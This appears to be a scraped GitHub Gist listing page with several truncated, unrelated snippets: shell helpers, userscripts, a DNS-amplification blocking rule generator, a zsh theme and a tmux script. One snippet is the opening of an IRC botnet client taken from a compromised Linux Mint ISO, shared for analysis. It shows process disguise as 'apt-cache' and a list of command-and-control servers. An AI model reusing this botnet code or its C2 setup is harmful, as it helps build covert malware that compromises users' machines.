Skip to content

Instantly share code, notes, and snippets.

View ghostbar's full-sized avatar

Jose-Luis Rivas ghostbar

View GitHub Profile
@kurobeats
kurobeats / man.cy
Created February 21, 2016 09:00
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@ciscoinc
ciscoinc / gist:9025507
Last active August 29, 2015 13:56
Servidores de VPN totalmente gratuitos para que los Venezolanos salten el Bloqueo
Agregaré mas servidores a medida que sea necesario para porder satisfacer la demanda:
1. Servidor: 162.243.211.57 Username: cisco Password: cisco123 tipo: PPTP
Puedes ver los videos de como configurar la VPN en los siguientes enlaces:
Windows Vista/7/8: http://www.youtube.com/watch?v=cVdPsP9G4ao
iOS (iPhone/iPad/iPod): http://www.youtube.com/watch?v=LlvLdLY3Rng
Mac OS X 10.5 y superiores: http://www.youtube.com/watch?v=M497cwSARes
@mikeal
mikeal / gist:5986692
Created July 12, 2013 18:31
List all browserified files sorted by size.
ls -lrt $(node node_modules/.bin/browserify --list app/app.js) | awk '{print $5 " " $9}' | sort -n
// ==UserScript==
// @name CoffeeTest
// @namespace test
// @version 0.1
// @grant none
// @require http://jashkenas.github.io/coffee-script/extras/coffee-script.js
// @match http://example.iana.org/
// ==/UserScript==
/*
@adammw
adammw / buildnode.sh
Last active March 5, 2016 16:44
Node.js for Raspberry Pi Packaging Script
#!/bin/sh
## Node.js for Raspberry Pi Packaging Script
## =========================================
## Execute this script from within node.js git repo
## Use like this:
## ~/node/$ VERSION=v0.10.0 ./buildnode.sh
if [ -z $VERSION ]; then
echo "set the VERSION first"
exit 1
@guerrerocarlos
guerrerocarlos / generate-netfilter-u32-dns-rule.py
Created March 4, 2013 02:40
DNS Amplification DDOS ". ANY" attack can be stopped by using this iptable: iptables -A INPUT -p udp --dport 53 -m u32 --u32 $(python generate-netfilter-u32-dns-rule.py --qname . --qtype ANY) -j DROP
#!/usr/bin/python
"""
Produces a Linux Netfilter u32 rule to match DNS requests for a given
domain name and/or a given query type.
Typical usage:
% python generate-netfilter-u32-rule.py --qname ripe.net --qtype ANY
Can be embedded in iptables' invocations for instance:
rule=$(python generate-rule.py args...)
@guerrerocarlos
guerrerocarlos / .bashrc
Created October 30, 2012 00:07
extract
extract () {
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xvjf $1 ;;
*.tar.gz) tar xvzf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) rar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xvf $1 ;;
*.tbz2) tar xvjf $1 ;;
@agnoster
agnoster / README.md
Last active September 25, 2024 09:27
My ZSH Theme

agnoster.zsh-theme

A ZSH theme optimized for people who use:

  • Solarized
  • Git
  • Unicode-compatible fonts and terminals (I use iTerm2 + Menlo)

For Mac users, I highly recommend iTerm 2 + Solarized Dark

@saihoooooooo
saihoooooooo / gist:3447066
Created August 24, 2012 07:23
greasemonkey coffeescript
//;###
// ==UserScript==
// @name coffeetest
// @namespace http://example.com/coffeetest
// @include *google.co.jp*
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
// @require http://jashkenas.github.com/coffee-script/extras/coffee-script.js
// @version 1
// ==/UserScript==
eval(CoffeeScript.compile((<r>
@nathanharper
nathanharper / tmux_irssi_niclist.sh
Last active October 29, 2018 08:39
A quick attempt to automate opening up a tmux session with Irssi and its nicklist.pl running.
#!/usr/bin/env bash
# This should work whether you are already in a TMUX session or not...
# Irssi directory is assumed to be in the user's home dir
if [ -z "$TMUX" ]
then
tmux new-session -d -s ircuser
tmux split-window -tircuser -h -l20
tmux send-keys -tircuser "tmux send-keys -t0 \"irssi\" C-m; \
tmux send-keys -t0 \"/set nicklist_height \$(stty size | cut -f1 -d' ' -)\" C-m; \
tmux send-keys -t0 \"/set nicklist_width \$(stty size | cut -f2 -d' ' -)\" C-m; \